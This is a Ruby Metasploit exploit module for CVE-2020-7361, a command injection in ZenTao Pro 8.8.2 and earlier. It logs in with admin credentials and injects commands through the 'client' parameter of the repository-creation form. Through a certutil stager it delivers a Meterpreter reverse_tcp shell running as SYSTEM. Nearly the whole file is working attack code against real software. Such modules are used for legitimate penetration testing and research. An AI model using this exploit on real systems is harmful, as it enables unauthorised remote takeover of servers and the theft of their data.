##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ZenTao Pro 8.8.2 Remote Code Execution',
        'Description' => %q{
          This module exploits a command injection vulnerability in ZenTao Pro
          8.8.2 and earlier versions in order to execute arbitrary commands with
          SYSTEM privileges.

          The module first attempts to authenticate to the ZenTao dashboard. It
          then tries to execute the payload by submitting fake repositories via
          the 'Repo Create' function that is accessible from the dashboard via
          CI>Repo. More precisely, the module sends HTTP POST requests to
          '/pro/repo-create.html' that inject commands in the vulnerable 'path'
          parameter which corresponds to the 'Client Path' input field.

          Valid credentials for a ZenTao admin account are required. This module
          has been successfully tested against ZenTao 8.8.1 and 8.8.2 running on
          Windows 10 (XAMPP server).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Daniel Monzón', # Discovery
          'Melvin Boers', # PoC
          'Erik Wynter' # @wyntererik - Metasploit
        ],
        'References' => [
          ['EDB', '48633'], # PoC
          ['CVE', '2020-7361']
        ],
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows (x86)', {
              'Arch' => [ARCH_X86],
              'CmdStagerFlavor' => :certutil,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows (x64)', {
              'Arch' => [ARCH_X64],
              'CmdStagerFlavor' => :certutil,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-06-20',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('TARGETURI', [true, 'The base path to ZenTao', '/pro/']),
      OptString.new('TARGETPATH', [true, 'The path on the target where commands will be executed', 'C:\\Windows\\Temp']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
    ]
  end

  def check
    vprint_status('Running check')

    # visit login the page to get the necessary cookies
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'user-login.html')
    unless res
      return CheckCode::Unknown('Connection failed')
    end

    cookie = res.get_cookies
    if cookie.blank?
      return CheckCode::Unknown('Unable to retrieve HTTP cookie header')
    end

    # check if the language is set to English, otherwise change it to English
    unless cookie.scan(/lang=(.*?);/).flatten.first == 'en-US'
      cookie.gsub!(/lang=(.*?);/, 'lang=en;')
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'score-ajax-selectLang.html'),
        'cookie' => cookie
      })

      unless res
        return CheckCode::Unknown('Connection failed')
      end

      @cookie = res.get_cookies
      if @cookie.blank?
        return CheckCode::Unknown('Unable to change the application language to English. Target may not be a ZenTao application')
      end
    end

    # visit login page to check ZenTao version
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'user-login.html'),
      'cookie' => @cookie
    })

    unless res
      return CheckCode::Unknown('Connection failed')
    end

    unless res.code == 200 && res.body.include?('Login - ZenTao')
      return CheckCode::Safe('Target is not a ZenTao application.')
    end

    # obtain cookie and random value necessary to autenticate later
    @cookie = res.get_cookies
    retrieve_rand_val(res)
    if @cookie.blank? || @random_value.blank?
      return CheckCode::Unknown('Unable to obtain the tokens required for authentication')
    end

    # obtain version
    version = res.body.scan(/v=pro(.*?)'/).flatten.first
    if version.blank?
      return CheckCode::Detected('Unable to obtain ZenTao version.')
    end

    @version = Rex::Version.new(version)

    unless @version <= Rex::Version.new('8.8.2')
      return CheckCode::Detected("Target is ZenTao version #{@version}.")
    end

    return CheckCode::Appears("Target is ZenTao version #{@version}.")
  end

  def retrieve_rand_val(res)
    html = res.get_html_document
    @random_value = html.at('input[@name="verifyRand"]')['value']

    fail_with(Failure::NotFound, 'Failed to retrieve token') unless @random_value
  end

  def login
    login_uri = normalize_uri(target_uri.path, 'user-login.html')
    unless @random_value
      res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
      fail_with(Failure::UnexpectedReply, 'Unable to reach login page') unless res
      @cookie = res.get_cookies
      retrieve_rand_val(res)
    end

    # generate md5 hashes required for authentication
    hashed_pass = Digest::MD5.hexdigest(datastore['PASSWORD'].to_s)
    final_hash = Digest::MD5.hexdigest("#{hashed_pass}#{@random_value}")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => login_uri,
      'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
      'cookie' => @cookie,
      'headers' => {
        'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/#{login_uri}",
        'X-Requested-With' => 'XMLHttpRequest',
        'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
      },
      'vars_post' => {
        'account' => datastore['USERNAME'],
        'password' => final_hash,
        'passwordStrength' => '1',
        'referer' => '/pro/',
        'verifyRand' => @random_value,
        'KeepLogin' => '0'
      }
    })

    unless res
      fail_with(Failure::Disconnected, 'Connection failed')
    end

    unless res.code == 200 && res.body.include?('success')
      fail_with(Failure::NoAccess, 'Failed to authenticate. Please check if you have set the correct username and password.')
    end

    # visit /pro/, which is required to get to the dashboard at /pro/my/
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'cookie' => @cookie,
      'headers' => {
        'Upgrade-Insecure-Requests' => '1',
        'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/#{login_uri}"
      }
    })

    unless res && res.code == 302
      fail_with(Failure::NoAccess, 'Failed to authenticate.')
    end

    # finally visit /pro/my/ and check if we have been authenticated
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'my'),
      'cookie' => @cookie
    })
    unless res && res.code == 200 && res.body.include?('Dashboard - ZenTao')
      fail_with(Failure::NoAccess, 'Failed to authenticate.')
    end
    print_good("Successfully authenticated to ZenTao #{@version}.")
  end

  def execute_command(cmd, _opts = {})
    cmd << ' &&' # this is necessary for compatibility with x86 targets (for x64 the module also works without this)
    repo_uri = normalize_uri(target_uri.path, 'repo-create')
    send_request_cgi({
      'method' => 'POST',
      'uri' => repo_uri,
      'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
      'cookie' => @cookie,
      'headers' => {
        'Accept' => 'application/json, text/javascript, */*; q=0.01',
        'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/#{repo_uri}",
        'X-Requested-With' => 'XMLHttpRequest',
        'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
      },
      'vars_post' => {
        'SCM' => 'Git',
        'name' => Rex::Text.rand_text_alpha_lower(6..10),
        'path' => datastore['TARGETPATH'],
        'encoding' => 'utf-8',
        'client' => cmd
      }
    }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
  end

  def exploit
    login
    print_status('Executing the payload...')
    execute_cmdstager(background: true)
  end
end
